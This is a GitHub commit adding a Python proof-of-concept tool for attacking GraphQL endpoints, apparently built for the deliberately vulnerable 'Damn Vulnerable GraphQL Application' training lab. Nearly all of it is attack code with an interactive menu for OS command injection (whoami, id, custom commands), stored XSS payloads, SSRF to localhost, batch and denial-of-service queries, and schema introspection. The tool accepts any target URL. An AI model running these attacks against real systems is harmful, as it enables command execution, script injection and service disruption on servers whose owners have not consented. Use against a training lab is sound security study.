Add files via upload

Author: mrmtwoj

graphql_poc.py

@@ -0,0 +1,245 @@
+import requests
+import json
+import argparse
+import time
+from colorama import Fore, Style, init
+
+# Initialize colorama
+init(autoreset=True)
+
+def send_request(url, body, proxy=None):
+    """ Send a request to the GraphQL endpoint through a proxy if provided. """
+    try:
+        start_time = time.time()  # Start time for measuring response time
+        response = requests.post(url, json=body, proxies=proxy)
+        response.raise_for_status()  # Raise an error for bad responses
+        elapsed_time = time.time() - start_time
+        print(Fore.BLUE + f"Response Time: {elapsed_time:.2f} seconds")
+        return response
+    except requests.exceptions.RequestException as e:
+        print(Fore.RED + f"Request failed: {e}")
+        return None
+
+def introspection_query(url, proxy=None):
+    """ Perform a GraphQL introspection query to discover the schema. """
+    query = '''
+    {
+      __schema {
+        types {
+          name
+        }
+      }
+    }
+    '''
+    body = {'query': query}
+    response = send_request(url, body, proxy)
+    print(Fore.GREEN + "Introspection Query Response:")
+    print(json.dumps(response.json(), indent=2))
+
+def batch_query_attack(url, proxy=None):
+    """ Perform a batch query attack by sending multiple queries. """
+    queries = [
+        '{ query1 { field1 } }',
+        '{ query2 { field2 } }',
+        '{ query3 { field3 } }',
+        '{ users { id name } }'
+    ]
+    
+    for query in queries:
+        body = {'query': query}
+        response = send_request(url, body, proxy)
+        print(Fore.GREEN + f"Response for {query}: {response.status_code}")
+
+def os_command_injection(url, proxy=None):
+    """ Test for OS Command Injection vulnerabilities. """
+    print(Fore.YELLOW + "Select an OS Command Injection payload:")
+    print("1. whoami")
+    print("2. id")
+    print("3. ls -la")
+    print("4. Custom Command")
+    
+    choice = input("Enter your choice (1-4): ")
+    
+    if choice == "1":
+        command = "whoami"
+    elif choice == "2":
+        command = "id"
+    elif choice == "3":
+        command = "ls -la"
+    elif choice == "4":
+        command = input("Enter your custom command: ")
+    else:
+        print(Fore.RED + "Invalid choice.")
+        return
+
+    query = f'''
+    mutation {{
+      executeCommand(input: "{command}")
+    }}
+    '''
+    body = {'query': query}
+    response = send_request(url, body, proxy)
+    print(Fore.GREEN + "OS Command Injection Response:")
+    print(json.dumps(response.json(), indent=2))
+
+def stored_xss(url, proxy=None):
+    """ Test for Stored Cross-Site Scripting (XSS) vulnerabilities. """
+    print(Fore.YELLOW + "Select a Stored XSS payload:")
+    print("1. <script>alert('XSS')</script>")
+    print("2. <img src=x onerror=alert('XSS')>")
+    print("3. Custom Payload")
+    
+    choice = input("Enter your choice (1-3): ")
+    
+    if choice == "1":
+        payload = "<script>alert('XSS')</script>"
+    elif choice == "2":
+        payload = "<img src=x onerror=alert('XSS')>"
+    elif choice == "3":
+        payload = input("Enter your custom XSS payload: ")
+    else:
+        print(Fore.RED + "Invalid choice.")
+        return
+
+    query = f'''
+    mutation {{
+      createPost(input: {{ content: "{payload}" }}) {{
+        id
+      }}
+    }}
+    '''
+    body = {'query': query}
+    response = send_request(url, body, proxy)
+    print(Fore.GREEN + "Stored XSS Response:")
+    print(json.dumps(response.json(), indent=2))
+
+def resource_intensive_query(url, proxy=None):
+    """ Test a resource-intensive query. """
+    query = '''
+    {
+      users {
+        id
+        name
+        friends {
+          name
+        }
+      }
+    }
+    '''
+    body = {'query': query}
+    response = send_request(url, body, proxy)
+    print(Fore.GREEN + "Resource Intensive Query Response:")
+    print(json.dumps(response.json(), indent=2))
+
+def denial_of_service_attack(url, proxy=None):
+    """ Test for Denial of Service by sending a large query. """
+    query = '''
+    {
+      largeDataSet {
+        id
+        value
+      }
+    }
+    '''
+    body = {'query': query}
+    response = send_request(url, body, proxy)
+    print(Fore.GREEN + "Denial of Service Attack Response:")
+    print(response.status_code)
+
+def field_duplication_attack(url, proxy=None):
+    """ Test for field duplication in a query. """
+    query = '''
+    {
+      user {
+        name
+        name  # Duplicate field
+        age
+      }
+    }
+    '''
+    body = {'query': query}
+    response = send_request(url, body, proxy)
+    print(Fore.GREEN + "Field Duplication Attack Response:")
+    print(json.dumps(response.json(), indent=2))
+
+def server_side_request_forgery(url, proxy=None):
+    """ Test for Server-Side Request Forgery (SSRF). """
+    payload = "http://localhost:8080"  # Example internal URL
+    query = f'''
+    {{
+      internalService(url: "{payload}") {{
+        response
+      }}
+    }}
+    '''
+    body = {'query': query}
+    response = send_request(url, body, proxy)
+    print(Fore.GREEN + "Server Side Request Forgery Response:")
+    print(json.dumps(response.json(), indent=2))
+
+def main():
+    print(Fore.CYAN + "Acyber Team Developer")
+    print(Fore.CYAN + "Automatic PoC For Damn Vulnerable GraphQL Application")
+
+    
+    parser = argparse.ArgumentParser(description="GraphQL Exploitation PoC Tool")
+    parser.add_argument("-u", "--url", type=str, required=True, help="GraphQL endpoint URL")
+    parser.add_argument("-p", "--proxy", type=str, help="Proxy URL (e.g., http://127.0.0.1:8080)")
+    
+    args = parser.parse_args()
+    
+    graphql_url = args.url
+    proxy = None
+
+    if args.proxy:
+        proxy = {
+            "http": args.proxy,
+            "https": args.proxy,
+        }
+
+    print("Select an attack type:")
+    print("1. GraphQL Introspection")
+    print("2. Batch Query Attack")
+    print("3. OS Command Injection")
+    print("4. Stored Cross-Site Scripting (XSS)")
+    print("5. Resource Intensive Query")
+    print("6. Denial of Service Attack")
+    print("7. Field Duplication Attack")
+    print("8. Server Side Request Forgery (SSRF)")
+    print("9. Custom GraphQL Request")
+    
+    choice = input("Enter your choice (1-9): ")
+
+    if choice == "1":
+        introspection_query(graphql_url, proxy)
+    elif choice == "2":
+        batch_query_attack(graphql_url, proxy)
+    elif choice == "3":
+        os_command_injection(graphql_url, proxy)
+    elif choice == "4":
+        stored_xss(graphql_url, proxy)
+    elif choice == "5":
+        resource_intensive_query(graphql_url, proxy)
+    elif choice == "6":
+        denial_of_service_attack(graphql_url, proxy)
+    elif choice == "7":
+        field_duplication_attack(graphql_url, proxy)
+    elif choice == "8":
+        server_side_request_forgery(graphql_url, proxy)
+    elif choice == "9":
+        print("Enter the body of the GraphQL request as JSON:")
+        print("Example: { 'query': '{ users { id name } }', 'variables': {} }")
+        body_input = input("Enter JSON body: ")
+        
+        try:
+            body = json.loads(body_input)
+            response = send_request(graphql_url, body, proxy)
+            print("Custom Request Response:")
+            print(json.dumps(response.json(), indent=2))
+        except json.JSONDecodeError:
+            print(Fore.RED + "Invalid JSON format. Please enter valid JSON.")
+    else:
+        print(Fore.RED + "Invalid choice. Please select a valid option.")
+
+if __name__ == "__main__":
+    main()